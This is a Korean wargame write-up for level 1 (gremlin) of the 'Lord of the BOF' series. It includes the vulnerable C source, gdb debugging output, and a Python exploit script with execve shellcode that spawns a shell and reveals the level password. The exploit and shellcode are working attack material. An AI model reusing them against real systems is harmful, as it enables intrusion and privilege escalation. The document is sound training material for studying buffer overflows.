BOF 원정대 – Level 1 (gremlin)

첫번째 문제다. 소스는 아래와 같이 아주 단순한 BOF 다.

/*
        The Lord of the BOF : The Fellowship of the BOF 
        - gremlin
        - simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

이번 문제의 풀이는 여러가지가 될 수 있다. 환경변수에 쉘코드를 올리거나 혹은 버퍼에 쉘코드를 입력 후 공격이 가능하다. 이번 문제에서 버퍼의 크기가 크므로 버퍼에 입력하여 공격하는 방법으로 시작해보자.

PAYLOAD 구성은 아래와 같다.
[A260] + [RET] + [NOP100] + [SHELLCODE}

[gate@localhost gate]$ gdb gremlin_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x100,%esp
0x8048439 <main+9>:     cmpl   $0x1,0x8(%ebp)
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   $0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    $0x4,%esp
0x804844c <main+28>:    push   $0x0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    $0x4,%esp
0x8048456 <main+38>:    mov    0xc(%ebp),%eax
0x8048459 <main+41>:    add    $0x4,%eax
0x804845c <main+44>:    mov    (%eax),%edx
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    0xffffff00(%ebp),%eax
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    $0x8,%esp
0x804846e <main+62>:    lea    0xffffff00(%ebp),%eax
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   $0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    $0x8,%esp
0x8048482 <main+82>:    leave  
0x8048483 <main+83>:    ret    
0x8048484 <main+84>:    nop    
0x8048485 <main+85>:    nop    
0x8048486 <main+86>:    nop    
0x8048487 <main+87>:    nop    
0x8048488 <main+88>:    nop    
0x8048489 <main+89>:    nop    
0x804848a <main+90>:    nop    
0x804848b <main+91>:    nop    
0x804848c <main+92>:    nop    
0x804848d <main+93>:    nop    
0x804848e <main+94>:    nop    
0x804848f <main+95>:    nop    
End of assembler dump.
(gdb) b *main+83
Breakpoint 1 at 0x8048483
(gdb) r `python -c "print 'A'*260 + 'BBBB' + '\x90'*100"`   
Starting program: /home/gate/gremlin_tmp `python -c "print 'A'*260 + 'BBBB' + '\x90'*100"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 1, 0x8048483 in main ()
(gdb) x/32wx $esp
0xbffff9fc:     0x42424242      0x90909090      0x90909090      0x90909090
0xbffffa0c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa1c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa2c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa3c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa4c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa5c:     0x90909090      0x90909090      0xbffffd00      0xbffffd34
0xbffffa6c:     0xbffffd4e      0xbffffd59      0xbffffd67      0xbffffda7
(gdb) r `python -c "print 'A'*260 + 'BBBB' + '\x90'*100000"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gate/gremlin_tmp `python -c "print 'A'*260 + 'BBBB' + '\x90'*100000"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 1, 0x8048483 in main ()
(gdb) x/32wx $esp
0xbffe73cc:     0x42424242      0x90909090      0x90909090      0x90909090
0xbffe73dc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe73ec:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe73fc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe740c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe741c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe742c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe743c:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb)

위 디버깅 내용을 보면 처음 NOP를 10개 입력하였을 때 NOP의 위치에 해당하는 스택주소에 \xff가 포함되어 있다. 이를 우회하기 위해 NOP를 100000개 넣어준 결과 \xff에서 \xfe로 바뀐걸 볼 수 있다.

이제 공격코드를 작성해 보도록 하자.

#!/usr/bin/python
import os
from struct import pack

shellcode = '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

def main():
    payload = 'A'*260 + pack('<L', 0xbffe73ec) + '\x90'*100000 + shellcode
    os.execl('/home/gate/gremlin', 'gremlin', payload)

if __name__ == '__main__':
    print '[+] Strat'
    main()
    print '[+] End'
[gate@localhost gate]$ ./ex.py
[+] Strat
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1F̀1/shh/bin

                                                                                                                     bash$ id
uid=501(gremlin) gid=500(gate) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world
bash$ 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다